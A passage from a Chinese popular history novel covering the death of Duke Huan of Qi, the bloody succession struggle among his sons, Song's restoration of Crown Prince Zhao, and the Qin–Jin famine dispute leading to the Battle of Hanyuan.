公子开方舍卫君之尊,宁为齐臣,让齐桓公感动不已,对他信任有加,可管仲却坚决反对。
“易牙如何?”齐桓公只好舍弃公子开方。
易牙是齐桓公的嬖臣,专职侍君。他不但会逢迎谄媚,还有一项绝技:烹饪。传说长卫姬生病时,他为第一夫人做了一道菜,不仅美味无比,而且病也好了,得到两人宠爱。一次饭后,齐桓公无意说道:“人间珍馐,寡人已尝尽,惟**未尝耳。”易牙听后,回家就把自己的儿子杀了,做成一道佳肴给齐桓公吃,齐桓公感动不已,竟要任他为国相。
管仲说道:“人之至亲,莫过父子!易牙杀子媚主,是性残而无人伦也,岂可辅国?”
齐桓公一听,觉得有理,又说道:“竖貂文武兼备,可辅国否?”
“竖貂**而泄伐楚军机,媚君而挥刀自宫!此等阄人,性情卑劣,焉能高居庙堂?”管仲早知桓公宠此三人,忧心忡忡,规劝道:“此三贵惑乱君心,攀附诸子,心机深重,必为后患。我去之后,君上不可再用,用则乱国矣!”
齐桓公感情上不舍,但理智上认同,便连连点头,说道:“似此,谁可为继?”
管仲叹道:“惜哉宁戚,天不与寿!今可委政者,惟隰朋、叔牙二人。然叔牙性情刚而不柔,易折难屈,见人一恶,终身不忘,心胸不足以秉政也。不若隰朋能屈能伸,能柔能刚。谚云:有容乃大,隰朋是也。”
“然隰朋、叔牙俱已年暮,恐不久矣。”齐桓公心中也有隰朋,但他更想用年轻人,故推“三贵”。
管仲点点头,说道:“惟天佑之。”齐桓公点点头。
就在这年冬天,春秋第一相管仲与世长辞,享年七十八岁。他居相位四十年,助齐桓公重振王纲,治理中原,九合诸侯,一匡天下!特别是他在中原最危急的时刻,北伐山戎,南平蛮楚,存刑救卫,礼仪天下,成为千秋楷模。后世的诸葛亮把他作为一生的榜样,成就一代名相。孔子对他更是赞赏有加,曾感叹地说:“微管仲,吾等皆披发左衽矣!”意思是:如果没有管仲,我们都变成披着头发,衣服右襟压住左襟的戎狄之人了!
可惜的是,管仲没有培养自己的**人。隰朋为相不到一年就去世了。齐桓公只好任命鲍叔牙为相。鲍叔牙果然刚而不柔,他说道:“不辞‘三贵’,难辅国也!”
仲父和太傅都要他远离“三贵”,畏圣人之言哪,齐桓公只好把三贵都打发走了。
齐桓公英雄寂寞,深深怀念当年召盟诸侯的壮观景象。正在这时,地处齐鲁两国东南面的鄫国遭受夷人的攻击,派特使前来求救。
鄫国是夏朝少康王的次子曲烈的封国,地处今山东临沂市兰陵县,位于睢水河畔。在那个弱肉强食的时代,楚国降服东夷,东夷便欺负鄫国,鄫国只好向齐求救。
一个末流小国遭到攻击,本不是大事,派人警告东夷之人便可。可不甘心霸权沦落的齐桓公太想重温诸侯会盟的霸主旧梦了!公元前644年冬天,他又传召宋、鲁、陈、卫、郑、许、刑、曹八国到鄫国的淮地(今江苏盱眙)会盟。会盟完毕,帮助鄫国修筑城墙,并谋划讨伐背盟投楚的夷人。可鲁僖公没有来,因为鲁国国魂季友去世了!“季友亡,则鲁不昌!”鲁僖公如丧考妣,举国致哀,哪有心思来听你作报告啊!
诸侯们对这种无休止的开会都不胜其烦。你齐霸主站在**台上言辞滔滔,确实威风,可我们却受够了。盟会刚刚开始,又传来一个小道消息:狡诈的鲁僖公根本不是在悼念季友,而是带兵偷偷攻打项国去了,可怜的项国已经被鲁国灭了!
齐桓公勃然大怒,派人前去查证,并急召鲁僖公来盟。鲁僖公慌慌张张地赶到淮地,只好承认了实情。齐桓公怒不可遏,将这个兔崽子绑了起来。
众诸侯哗然,人心思归,一个个私下商议怎样逃走。不知是谁出的馊主意,这天晚上,修城的诸国兵士满城大喊:“齐国内乱,诸子争权,速逃之!”诸侯们一听,趁机带着自己军队全部溜走了!
英雄末路的齐桓公又一次孤独地回到齐国,不久就病倒了。就在这时,嫁到鲁国的女儿声姜回国看望父亲。女儿笑容如花,温柔似水,孝顺地侍候他三天,便千娇百媚地说道:“父亲,项国为楚之属地,夫君灭此小国,只为父亲报伐厉之仇也!”
项国是周武王封给弟弟季毂的子爵封国,地处今河南项城市,位于蔡国之北,陈国之南。其东北是厉国,西面是顿国和沈国,地跨颍水而立。很显然,这里是楚国的势力范围,项国也早已投楚。继位后无所作为的鲁僖公为振声望,扬言灭项而为九国屯兵之用。
齐桓公只是觉得诸侯会盟,搅局的竟然是女婿,一怒之下,才将鲁僖公抓了起来,教训这个不听话的小兔崽子。见女儿求情,便把他给放了。
声姜喜滋滋地接到老公就回鲁国去了!女生外相,见了老公就忘了老爹,齐桓公更加落寞,此时,三贵被辞,他心中空虚,寂寞难忍。便下令将“三贵”召回。叔牙苦劝不听,一气之下也病倒了。他果然易折难屈,不久就忧愤而死。
此时的齐国,暗流汹涌,危机四伏,诸公子预感君父大限将至,个个暗结党羽,私募兵卒,准备**。
齐桓公的老婆实在太多了!一是王姬,即天朝公主。不幸的是她一生不育,忧郁而死。二是徐嬴,徐国公主,也是个不下蛋的种。三是蔡姬,更是徒劳无功,被遣送回国,又让楚成王拐走。
虽然这三人不产子,可产子的夫人有的是:一是长卫姬,生下公子无亏;二是少卫姬,生下公子元;三是郑姬,就是太子昭的母亲;四是葛赢,生下公子潘;五是密姬,生下公子商人;
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六是宋国的华氏之女,生下公子雍。除这九个正夫人外,他有多少嫔媵嫱妾,恐怕他自己也不知道。
公子雍年龄最小,地位最低,无争位之念;其他四位,都想与太子昭争个高低。而实力最强的老大公子无亏更是势在必得。
长卫姬在后宫地位最高,无亏又是长子,齐桓公心中也喜爱他,曾让他多次参与中原事务,有意立他为嫡,这也是顺势而为。可管仲却不看好他,因为一心攀附他的竖貂和易牙人品不正,怕此二人惑君乱国,这才立老三公子昭。但,无亏树大根深,又无劣迹,更有宫廷禁卫军司令竖貂和齐桓公的贴身宠嬖易牙支持,尾大不掉,成为祸乱的主要根源。
齐桓公其实早就有病在身。据说,号称神医的郑人秦缓游历来齐,见齐桓公便说道:“君有疾,疾在肌理,不治将深!”齐桓公以为是游医骗人,不以为然。不久神医又来见他,劝道:“君之疾已入血脉,不治难愈。”桓公还是不听。淮地会盟前,神医三见桓公,转身就走,对宫人说:“君疾已入骨髓,不可救也!”果然桓公会盟后回齐便一病不起,忙找神医,可再也找不到了!此时,竖貂和易牙已完全控制了后宫。两人将桓公身边的人全部赶走,让无亏日夜侍候左右。竖貂和易牙便不断哄劝要改立无亏为嫡。重病的齐桓公被逼无奈,只好答应。
无亏虽然高兴,又怕君父病愈后反悔,只想早日继位。竖貂易牙干脆砌一堵高墙,将正寝之门封死,扬言国君病重,不宜打扰,拒绝任何人探望。可叹一代霸主孤身囚禁在寝宫之中,叫天不应,叫地不灵,饿得头昏眼花,几天后,已是奄奄一息。
后宫小妾晏蛾儿曾受桓公一夜宠幸,眼见桓公受困,便于黑夜从狗洞中偷偷钻入正寝,听见桓公孤身**,忙摸索过去,手抚桓公之身,已觉骨瘦如柴。桓公惊醒,问道:“尔为何人,为何不送汤饭?”
“妾乃晏蛾儿,今竖貂、易牙二人把持后宫,将君上封于寝内,欲探君者全被赶走,后宫无汤饭矣!”说完泪流不止。
齐桓公这才明白一切,拉着晏蛾儿的手说道:“不听仲父之言,太傅之请,方有此难,悔之莫及也!然孤饥渴难耐,蛾儿可否求得汤粥一碗?”
蛾儿泪如雨下,说道:“君上稍候,妾此去求取汤粥,不久便还!”说完又要从狗洞钻出。这时,守殿军士听见殿内有声音,便仔细查看,见晏蛾儿从洞中爬出,一剑将她刺死!
一生众星捧月的齐桓公已是形影相吊,孤锁寝宫。吃尽人间珍馐的他已一汤难求。公元前643年12月8日,他在孤寂之中活活饿**。
齐桓公以宽阔的胸怀,任用死敌为相,一生坚信不疑,成就齐国近半个世纪的霸业,成为春秋第一霸,为千秋万代所敬仰。孔子评价他:“正而不谲”。司马迁更是盛赞他:“洋洋哉,固大国之风也!”曹操也在《短歌行》中唱道:“齐桓之功,为霸为首。九合诸侯,一匡天下。一匡天下,不以兵车。正而不谲,其德传称。”
匡,是匡扶,匡正的意思。指齐桓公匡正中原混乱的局面,使天下安定。但,他一生经略中原,不重内治。宁戚死后,齐国国势江河日下,连小小的厉国都打不过。导致齐国人亡政息,不断衰败,导致霸权旁落。更加重要的是,他和管仲都不注重培养**人,导致齐国人才断裂,后继无人。辉煌的霸业如落花流水,从此不再。
第43章 三贵专权乱囯 诸子停尸血战
竖貂见桓公已死,便与易牙找长卫姬和公子无亏商量后事。无亏说道:“君父谢世,宜赶紧发丧,勿停尸宫中,使众弟以为我等所害!”
竖貂想了想,说道:“不可发丧!储位早定,若此时发丧,必为世子主丧,继而承位,其势难改矣!”
从公室到王室,为君王主丧者,必然是继位之人。易牙干脆地说道:“必先杀世子,方能举丧。”众人面面相觑,竖貂也点头赞同,说道:“若除世子,必为公子主丧,大事可定!”
众人一想,这是最简单、最可行的办法,便纷纷赞成。
再说太子昭天天来后宫探望君父,总不让见,这样过去了两个多月,他觉得太不正常了!自己是太子,应侍奉左右,为什么不让进呢?他疑惑重重,便去找上卿高虎,让他主持公道。
高氏为御封上卿,**罔替,势力庞大。此时,高傒已故,其子高虎承爵,他年近五十,身材高大,额高眼圆,性情刚烈。他早就看出公子无亏与竖貂、易牙图谋不轨,对太子说道:“竖貂把持后宫,必然作乱!子为国之储君,不可不防!国君与管相曾托孤宋君,请其扶立世子。齐国不可留,宜速往宋国,宋公必纳世子!”
太子昭一听,立即轻装简行,逃到宋国去了。
竖貂派兵夜袭东宫,却找不到太子,料定逃走!竖貂觉得大事不妙,忙找易牙商议。易牙冷静地说道:“国君病危,世子外逃,乃大不孝也!速传国君遗命,令无亏为君。有不从者,格杀勿论!”
竖貂一听,只好如此了。便宣布国君薨世,遵遗命,改立公子无亏为君。
消息传开,举国震惊!群臣天天来探国君,无人得入。现突然吿丧,百官疑惑重重,纷纷来到宫门前,要求谒见国君之灵,查明国君死因。愤怒的人群闯进宫内,推开高墙,一股恶臭扑鼻而来,眼前的景象让大家目瞪口呆。
此时,齐桓公已停尸六十七天,尸体腐烂,臭不可闻。无数蛆虫从尸体内爬出,布满寝殿。一具少妇之尸横卧洞边,其尸也腐烂不堪。其景触目惊心。
大家一见,群情激愤,高喊:“查弑君之贼,还立世子!”二卿之族,五杰之后及众臣都闻讯前来,逼问竖貂、易牙桓公死因,要求拥立太子昭为君!人越聚越多,双方相持不下。
就在这时,大批军士突然从宫中涌出,向人群汹涌而来,见人就杀!众人惊惶失措,如鸟兽散。逃跑不及者**得血肉横飞,鬼哭狼嚎!
公子无亏见宫门前血流如河,惊恐不已。而二贵也觉危机重重。心机深重的易牙说道:“事不宜迟,速扶公子登基!”
可竖貂犹豫不决。举目齐宫内外,群臣不是**就是逃走,有君无臣,怎么登基?公子无亏也看到这一点,说道:“若有国、高二卿坐镇,众臣谁敢不来?”竖貂一听有理,便自带人马前去请二卿来助,可还未出宫,公子开方带着二公子元、四公子潘和五公子商人攻过来了。
原来,一直蛰伏不动的公子开方觉得时机到了。这个卫国公子,之所以不愿回卫国为君,是被美丽风骚的葛赢绑在裙带上了。齐桓公的老婆实在太多了!每天晚上忙不过来,便冷落了这个来自徐国的尤物。公子开方也是一表人才,又是大内总管,大权在握,如把他弄上床,可是一举多得呀。两人果然勾搭成奸。在翻云覆雨之后,葛赢灵感顿现,要求他扶立儿子公子潘为君。
现在,太子逃走,长子公子无亏又害死国君,屠戮群臣,已是**人怨。他忙与二公子元、五公子商人商量,希望三位公子联合起来,扳倒无亏。
公子元是老二,长期受老大压抑,性格胆小怯弱,内心又不服气,有公子潘牵头,大内总管辅弼,便跃跃欲试。那公子商人的脑子从小就少一根筋,也一拍即合。公子开方掌有军队,三位公子都豢养了死士和私卒。机不可失,四人便率军冲向公宫!
公子无亏见三位弟弟联合率军来攻,叹道:“吾命休矣!”竖貂冷静地说道:“此为乌合之众,公子不必惊慌!”随即组织宫廷卫军迎战。可三位公子的死士武艺高强,卫军不敌,边战边退,退至宫门便依险而守,乱箭齐发。联军只好后退。熟悉宫殿的公子开方便组织从两侧小门攻入左右偏殿,据守相持。
但这样也不是办法。易牙说道:“先君已允长公子承位,如有国、高二卿扶立,三位公子必不敢再争!宜速往请之。”
竖貂带兵前往,先到国卿府中。鲍叔牙去世后,由国懿仲执政。可诸公子争斗,他也无可奈何,便深居简出,装聋作哑。竖貂进来,对他说道:“先君临终之时,委国政于长公子,今诸子来争,宫内大乱,唯上卿能平之。”
国懿仲再也不能躲了。国氏也是天子御封的上卿,他个子不高,身材肥胖,圆圆的白脸上,两眼如弯月一般,慈善、亲和,显露禅意。他闭眼说道:“争有何益?世子出逃,长子为继,亦合宗法。”竖貂大喜,带着他又前往高府。国懿仲对高虎说道:“不立无亏,国无宁日也!可先立之。”高虎说道:“虽如此,须先葬国君。”
两人随竖貂进宫,高虎进入正殿,对公子无亏和竖貂、易牙说道:“国君停尸后宫,诸子对垒前宫,此亘古未有之怪事!若公子胜而承位,朝野谁服?若公子罢兵歇战,尽人伦纲常,为先君主丧,群臣谁敢不服?”
公子无亏满脸羞惭,流泪说道:“无亏不孝,罪孽通天,承教上卿,敢弃人伦之道?然欲举大丧,又恐诸弟生乱,如之奈何?”
“公子主大丧,谁敢生乱?国卿已往诸公子处,晓之大义,无有不从也!”
公子无亏大喜,忙令撤兵,准备丧事。
再说国懿仲来到偏殿,对开方和三位公子说道:“天下之事,非能强争也!昔公子纠与先君争位,不惜派管仲射杀先君,反遭屠戮!诸子何必太急,静待时机,必有所为!”
大家一听,面面相觑,不得其解。但公子潘心有不甘,说道:“然无亏逆天而行,弑君屠臣,岂能为君?”
“逆天者,自有天谴;顺人者,必有人佑。今先君尸骨未收,诸子骨肉相残,岂是顺天应人?谁能辅佑?”
聪明的公子元听出话中玄机,当即就走了。公子商人早就被血淋淋的场景吓坏了,即使获胜,为君者也轮不到他呀,更是急着走了。在上卿面前,公子开方不敢强争,只好与公子潘一起走了。
当晚,由国、高二卿辅佐,公子无亏主丧,在正宫祭奠齐桓公。二公子元、四公子潘、五公子商人闻讯赶来同祭,四兄弟哭作一团,仇恨化解,齐桓公也被顺利安葬。第二年春天,二卿信守承诺,扶立公子无亏为君。
这时,太子昭早已逃到宋国。当年的宋子,已是今天的国君,即大名鼎鼎的宋襄公。他一见太子,就想起九年前齐桓公与管仲的嘱托,立即将他安顿下来,召集群臣,说道:“昔葵丘会盟之时,桓公以公子托于寡人。今桓公作古,三贵作乱,寡人欲会盟诸侯,讨伐齐国,共扶世子,以践葵丘之诺!”
此为义举,众臣莫不赞同。可檄文发出,鲁、郑、陈、许等传统盟国都不来。令人欣慰的是,还是有诸侯来了。
首先是曹共公姬襄来了。曹国是周文王的六子曹叔振铎的封国,受赐伯爵,建都于陶丘,即今天山东南角的菏泽市定陶县。紧邻宋国的北境,过去依附齐国,现在,只能改投宋国了。
可怜的卫文公姬毁也来了。卫国被北狄屠城时,让卫国死而复生的就是宋、齐两国啊!他怎能不来?还有邾国国君邾子琐也带着感恩之心来了。
如前所述,重黎将火神祝融之位传于其弟吴回,吴回去世,传于其子陆终。陆终娶鬼方氏之女为妻,生下六个儿子。其中第五子叫晏安,就是曹姓的始祖。像六弟季连和其他兄弟一样,晏安后嗣也遭到商人追杀,逃到现山东邹城市境内。
周武王灭商,封宴安后人曹挟为君,就地建立邾国。也许是国太小,没有封爵,故史书少有记载。齐桓公称霸后,怜其无爵,便奏请周僖王,加封子爵。邾国感恩戴德,长思报恩。今齐国有难,邾子当然挺身而出。
公元前642年春天,宋襄公以哥哥公子目夷为帅,以大司马公孙固为前锋,带领四**队护着太子昭,直奔临淄而来。
公子无亏闻讯大惊,找竖貂和易牙商议。竖貂曾随齐桓公南征北战,不惧强敌,说道:“国君勿忧,待我引兵出战,必获全胜!”
公子无亏说道:“联军势大,须请国、高二卿相辅,召众臣共御,方有胜算。”
易牙对竖貂说道:“国君之言是也!如有不利,退回城中坚守不出,彼奈我何?”
竖貂也觉得守城更重要,便让易牙领兵出战,自己守城。但以他掌握的军队,对付三位公子尚且困难,要对付四国之兵,更是困难重重。现在,只有请国、高二卿帮忙了。
此时,国、高
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二卿闻太子将至,也面临新的选择。高虎说道:“公子昭为先君所立,于葵丘托于宋公,天下皆知,不可违也!无亏弑君,屠戮众臣,不可扶也,当迎立世子。”
“若如此,无亏如之奈何?”懿仲觉得为难。
“此等无父无君之人,杀之何惜?”高虎快人快语。
“不可,陷无亏于无义者,二贵耳!先君之子,不可诛也!我等只除二贵,无亏生死,自有天定!汝速迎世子,二贵之事,我自处之。”
高虎也觉得有理,便去组织人马,迎接太子。国懿仲也派人去请竖貂,约定到西门商议紧急军务。
竖貂一听国卿有请,正中下怀。立即前往西门城楼,见国卿正**喝茶,说道:“国君有言,拒宋须仰仗上卿。不知上卿有何良策?”
国懿仲头也不抬,一面喝茶一面说道:“上大夫费尽心机,操劳过甚,此事不劳再烦心了。”说完起身走了出去。竖貂正莫名其妙,突然前后两门各冲进一群武士,拔剑就刺。竖貂立即拔剑,可剑未出鞘就身中数剑,顷刻身亡。
守城将士见上卿主持诛杀竖貂,一个个扬眉吐气。那些有亲人被屠戮的将士高喊道:“竖貂已死,杀无忌,迎世子!”
这时,五杰后裔与齐国贵族晏氏、公孙氏、东郭氏、南郭氏等正准备出城迎接太子,听到喊声,也一齐喊道:“杀无忌,迎世子!”向齐宫冲去。
此时,守宫的卫军大多被易牙带出城了。城中将士和各族私卒冲进宫门,喊杀之声震惊宫宇。公子无亏绝望之中挽起白绫,悬梁自尽了。
再说易牙领军出城不久便遇上联军,两军接战,齐军一触即败。联军依仗人数的优势,从两翼包抄过来。易牙一见大势不妙,转身就逃。逃到西门,守城将士放他进来,随即将城门关上。大家一拥而上,无数刀剑向他刺来,顷刻间,易牙被戳成了马蜂窝。
无忌集团的覆灭,给了其他公子希望。公子开方对老四公子潘说道:“今无忌已死,子昭不为先君守孝,而引外军入齐,以武争位,此为大不孝也!若除之,君位必为公子所得,速召诸公子商议。”
公子潘一听有理,不但将老二公子元和老五公子商人召来,把老六公子雍也召来了。公子潘说道:“子昭未主国丧,不可为君!我等若联合偷袭宋军,劫子昭而杀之,则二哥为君,我等为辅,必强国兴邦,重整霸业!”
上次**,无果而终,大家心有不甘,故都赞成。便整顿军马,约定五月十五月光之夜,从南门绕道偷袭宋军。
无忌的党羽清剿完毕,高虎出城进入驻扎在甗(yǎn演,今济南之西)地的宋营,面见宋襄公,拜见太子昭,约定五月十六日迎太子入宫继位。
五月十五日夜,开方和四位公子带着两千人马奔袭入甗,三更时分向宋军大营发起突然袭击。已经谈判成功的宋军放松了警惕,乱作一团。齐军杀入大寨,可到处都找不到太子昭。时间一久,公孙固组织兵马**过来了。卫、曹、邾三国之军闻讯,也赶了过来,混战至拂晓,公子开方见**子昭无望,忙请诸公子撤兵。公子元、公子雍、公子潘和公子商人一起逃到楚国去了。
公元前642年5月16日,宋襄公率四**队护送太子昭进入临淄,国懿仲和高虎率众臣出西门接驾。宋襄公一见,下车手牵公子昭向前,大声说道:“奉桓公遗命,送世子昭回国登基,众等恭迎!”
国懿仲领众臣躬身揖手拜道:“恭迎世子回国!谨谢宋公大义!”
宋襄公扫视众臣,厉声问道:“众公子何在?为何不见出迎?”
国懿仲慌忙上前,躬身说道:“禀宋公,众公子夜袭上国营寨受挫,夺位不成,全逃走也。”
宋襄公一听,愣了一下,对公子昭说道:“兄弟致美,岂有隔夜之仇?今大势已定,子当召回众公子,以协朝野。”
公子昭一听,他们昨夜还要杀我,怎能召回?便不置可否。国懿仲立即说道:“宋公言之有理!诗云:凡今之人,莫如兄弟。血缘手足,不可弃也!”
公子昭一听,只得说道:“就依宋公之言,召回众兄弟!”
“世子有礼!臣等遵命!”众臣齐声说道。
宋襄公见状大笑,说道:“国子执政,齐犹有礼也。”
国懿仲深深俯首:“宋公大义,天下何及?”
“宋公大义!宋公大义!”齐国臣民欢呼起来,宋襄公从此名声大噪。
第44章 泛舟之役秦义重 韩原大战晋薄情
公元前647年,晋国遭遇特大旱灾,田地干枯,蝗虫为害,全国粮食十收二三,到年底,全国饥荒爆发,百姓饿死无数,晋惠公立即派风流潇洒,能说会道的年轻大夫庆郑向秦国求救。
此时的秦穆公已对晋惠公深深地失望了。这个唇薄齿小的三角脸,一登大位便屠戮群臣,强占母妃,拒付河西五城。这样的小人何必要帮?犹豫之际,便召群臣商议。
公孙枝觉得应该帮晋国,说道:“重施而报,君将何求?若重施不报,必失民心。待其民心尽失,再予讨伐,晋国必败!”
蹇叔笑着说道:“昔国君重施于晋,晋何以报?可施籴粮,不可望报也!”
百里奚也说道:“天灾流行,诸国皆有。救灾恤民,邻国之道也。岂不闻:行道有福?”
丕郑之子丕豹一心要为父报仇,建议道:“晋国天灾,乃人祸所致。夷吾残暴,**人怨,不如趁此良机发兵讨之,必擒逆贼!”
秦穆公沉吟良久,长叹一口气,说道:“其君是恶,其民何罪?乘人之危,非君子所为也,必救之。”
庆郑没费口舌便得到强援,感恩戴德,回国复命。不久,厚道的秦穆公组织大批船只,将粮食从水路运往晋国。船队从雍城的渭河启程,东至华阴后进入黄河。再从黄河向东,进入汾水,由汾水转浍河,直至绛都。一路上,庞大的船队连绵不断,舳舻相接。沿途百姓驻足观望,前不见头,后不见尾,一路浩浩荡荡,赞之为“泛舟之役”。
真是风水轮流转。第二年,秦国也遭遇饥荒。秦穆公头年几乎把国库存粮全部籴给了晋国,致使国无余粮,到处饥荒,也有百姓饿死。到年底,秦人实在撑不下去了,便又派冷至前往晋国籴粮。
可晋恵公对冷至说道:“晋去岁大灾,民皆饥馑。今虽年丰,亦无余粮可籴也!”
晋惠公如此无情,庆郑也看不下去了,他劝道:“背弃恩惠,必失去亲人。幸灾乐祸,将违逆仁德也!人若贪恋所爱,必招不祥;激怒邻国,为大不义也!亲、仁、爱、义四德全失,何以守国?”
晋惠公的舅舅虢射却说道:“前者,所许秦国五城未付,积怨已深,籴粮何用?皮之不存,**将焉附?”
年迈的虢射是一个老道的智者。他曾作为里克的车右参加过采桑之战,大胜之时,他对里克说道:“万勿懈怠,可乘胜追击。”里克担心穷追必遭狄人联合反击,下令班师。他又说道:“我退,狄人来年必然复仇!”第二年夏天,狄人果然大举来犯。使得晋惠公对他刮目相看,随身左右。
现在,他的一声“皮之不存,**将焉附”,使晋惠公彻底放弃援秦。他的意思是:所许秦国河西五城都没有交付,反正已经结仇,籴点粮食又能起什么作用呢?反正已经结仇,不如一结到底。
庆郑对这种抛弃人间正义的狭隘思维深恶痛绝,他反驳道:“背弃恩惠,幸灾乐祸,百姓将视君如仇,秦人亦同仇敌忾也!”
晋惠公一听,很不高兴,说道:“尔等不必再争!籴粮强仇,不可为也!”
国君如此明确表态,庆郑还能说什么呢?只好怏怏而退,但想到秦人的情怀,他又回头愤懑地冒出一句话:“君必悔矣!”
倒霉的冷至两次出使晋国,两次遭拒,心有不甘,对晋惠公说道:“秦晋,姻亲也,寡君前有护嫡之功,后有籴粮之谊,奈何拒之?外臣何以复命也?”
晋惠公无言以对,郤芮说道:“尓君护嫡入晋,实为河西五城;籴粮于晋,乃为不智也!尔欲吾君籴粮资敌乎?”
冷至无言以对,只好又一次空手而归。秦穆公闻报,气得哑口无言,众臣也摇头叹息。百里奚是个恩怨分明的人,他说道:“此无信之国,背义之君,如不讨伐,是有贼不除,有冤不伸也!”
但要讨伐强大的晋国,秦穆公心里发麻。秦国虽屡胜戎狄,却从未与中原大国交过手,他打得过晋国吗?
蹇叔一眼看出他的心思,说道:“战之利,在人心也。顺天必昌,逆天必败,此亘古之理也。晋侯违天逆人,民心尽失,此天授伐罪良机,国君战之必胜!”
穆公一听有理,可就是鼓不起勇气。其他大臣也心里没底,不好作声。公子絷说道:“不如卜筮,以定吉凶。”
穆公一听,这是个好办法,立即命令宫巫卜徒父占筮。卜徒父先用筮卜看到卦象,大声喊道:“涉河,晋侯车败!”众**喜,穆公问其详,卜徒父说道:“此乃大吉之筮也!‘千乘三去,三去其余,获其雄狐’说的是千乘之国三次进军,三败晋敌,俘获晋君啊!此时不战,更待何时?”
秦穆公再无疑惑,他留蹇叔守国,大举二军,御驾亲征。以公子絷为车右,公孙枝为车驾。穆公自领上军,百里奚为辅。令蹇叔的两个儿子为前锋,哥哥西乞术为前锋大将,弟弟白乙丙为副将。又令百里奚的儿子孟明视领下军。全军战车五百乘,从龙门山渡过黄河。
龙门山位于黄河中游,地处今日山西与陕西交界的河津市西北。当年大禹治水之时,见黄河之水流经此地时被山阻隔,河流十分狭窄,导致水溢两岸,洪灾不断。大禹便在山中凿出一条宽阔的水道,使黄河之水在此奔腾而过,形似龙腾,故后人取名龙门山。龙门山南,就是当年晋献公带领太子申生征灭的耿国,后来成为赵衰之父赵夙的封地。
秦国大军突然来袭,沿河守军抵挡不住,一战即溃。秦军乘胜东进。赵氏领耿邑军民迎战,终因寡不敌众,二战又败。秦军继续沿龙门山麓东进,到达位于今山西万泉附近的韩原城外。韩原邑主韩简吸取教训,坚守不出,令人速报国君,请求支援。
韩简的爷爷韩万,是曲沃第一代主人曲沃桓叔的次子,即第二代主人曲沃庄伯的二弟,曾担任曲沃第三代主人曲沃武公的车驾,公元前709年,在汾水之畔,他助武公打败翼城晋军后,又奉命将晋哀侯秘密杀死。第二年便封到韩原。按祚土命氏,姬姓的他以韩为氏,史称韩万。他,就是战国七雄韩国的始祖。他死后,其子韩赇(qiú求)伯继宗伯之位。韩赇伯之子,就是韩简。
晋国二战皆败,危机深重,庆郑所料不错。晋惠公后悔不听庆郑之言,忙召他商议,焦急地说道:“秦寇深入晋地,如之奈何?”神情显露悔意。
可庆郑得理不饶人,在国难之际,君主之前,他竟然还在指责国君不籴粮给秦国,冷冷地说道:“此为国君引狼**,我能若何?”
晋惠公本是心胸狭隘之人,闻言大怒:“汝何其不逊!且退!”
无奈之下,晋惠公只有问天,也叫卜偃占筮,结果大战不吉。又卜,卦象显示,须庆郑为车右,方吉。可晋惠公的心里,怎能还容得下庆郑?不吉也不用他,而选用家仆徒为车右,步扬为车驾,乘君舆领兵出战。
庆郑一眼看出了危险。君车的驭马是郑国赠送的宫马,在绛都和晋宫行走尚可,可上战场就危险了。他忍不住上前谏道:“古者大战,必乘国马,生其水土而知其人意。今君上乘异国之马,若遇险情而不通人意,必然进退失据,危及君上矣!”可晋惠公怎么还能听得进他的话呢?
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君臣关系弄得更僵。
九月,晋惠公率战车六百乘奔赴韩原。他自领上军,以晋国第一勇士屠岸夷为前锋,庆郑、郭偃、郤乞为随军大夫。以韩地、耿地及相邻各地之军为下军,两军浩浩荡荡,来到龙门山下,准备与秦决战!
晋惠公心中不安,令韩简去窥探秦营军情。韩简窥看许久,回来复命道:“秦师少于我,勇猛之士倍于我。”
“晋惠公问:“何故?”
韩简说道:“国君出逃之时受秦之资;回晋之际得秦相助;灾荒之年更蒙秦籴粮。三施而无报,故怒而来战,斗志实倍于我矣!”
此话与庆郑之言何其相似,晋惠公的三角脸抽搐了几下,终于隐忍,说道:“匹夫尚不可辱,况一国乎?”遂令他去秦营请战。
韩简来到秦营,向秦穆公口授战书,说道:“寡君令外臣致言秦伯:寡人不才,能合其军而不能离其志。君若退兵,两国之愿也;君若不退,吾战车六百乘,不敢逃避护国之命也。”
语意婉转,但退敌之心似乎很坚定。秦穆公听后,令公孙枝到晋营回复晋惠公道:“寡君有言:君侯未入晋时,寡君怜而护之;入而君位不定,寡君忧而佑之。今君侯大位已定,寡君敢不从命?”
语气更婉转,但绵里藏针,迎战之心更坚定。公元前645年9月14日,即楚、徐娄林大战的这一年,秦晋韩原大战爆发。
两军对阵龙门山下,双方将士铺天盖地呼啸前冲。晋国上下两军齐头并进,秦国上下两军迎头来战。晋国上军的无敌前锋屠岸夷手持**,一马当先,率前锋冲向秦军,所向披靡!白乙丙挺枪来战,两人杀得难解难分。趁此时机,西乞术率军杀入晋军阵中。晋军人才济济,可谋臣勇将几乎被晋惠公杀光,无人能挡西乞术的前军。
大战杀得天昏地暗,两国君主都待不住了,都驾车向前。秦军人少,秦穆公担心难敌晋军冲击,留百里奚殿后,自己率卫队冲入战场,秦军一见,前有西乞术冲杀,后有国君督阵,士气大振,拼死搏杀,渐渐占得优势。
虢射远远看见秦穆公黑色辂车冲向战阵,对韩简说道:“两军鏖战,一时难分胜负,若擒秦伯,大战可定。”韩简也看见了,立即派人通知上军大夫庆郑一齐夹击秦穆公,令梁由靡调转车头,自己率军向秦穆公冲了过去。
秦军得势,正向前冲杀,无暇顾及到冲向国君的晋军。韩简的队伍不久就将秦穆公围住,层层逼近,秦穆公的卫军势弱,不能抵挡,穆公眼看无路可逃。
再说晋惠公也想鼓舞士气,令车驾步扬驱车向前,晋军一见,也受鼓舞,拼死迎战。可那个步扬急不择路,将车驰入泥泞之中。郑国漂亮的宫马无力自拔,挣扎一阵,爬不出来。这时,庆郑刚好率军路过。晋惠公高喊:“庆郑救我!”
庆郑一见,说道:“君违卜弃我,不听劝谏,自求失败,为何又求于我?”丢下他不管,直冲秦穆公而去。但心中总是不安,转念一想,弃君不顾,自己死罪难逃啊。正好看见韩简,忙叫道:“国君遇险,速往救之!”
此时,韩简已经得势,秦穆公几乎唾手可得!但国君遇险,又怎能耽误?韩简只好掉头去救。等他们赶到泥沼之地时,西乞术已将晋惠公抓走了。韩简大怒,说道:“庆郑误我!若擒秦伯,正可交换也!”
国君被俘,晋军士气大减,军无战心,全线溃败。可屠岸夷与白乙丙为争夺天下第一的名声,还在单打独斗。秦军一拥而上,将精疲力竭的屠岸夷乱剑刺死,扶起已站立不稳的白乙丙驱车而回。
第45章 作爰田 作州兵
晋师惨败,国君被俘,参战的群臣无法交待,虢射、韩简、梁由靡、庆郑、家仆徒、郤步扬、郤乞等将领拔除营帐,解开发髻,蓬头垢面地跟在秦军后面,狂奔而追,呼喊着自己的国君,一直跟到黄河岸边,大哭不回。
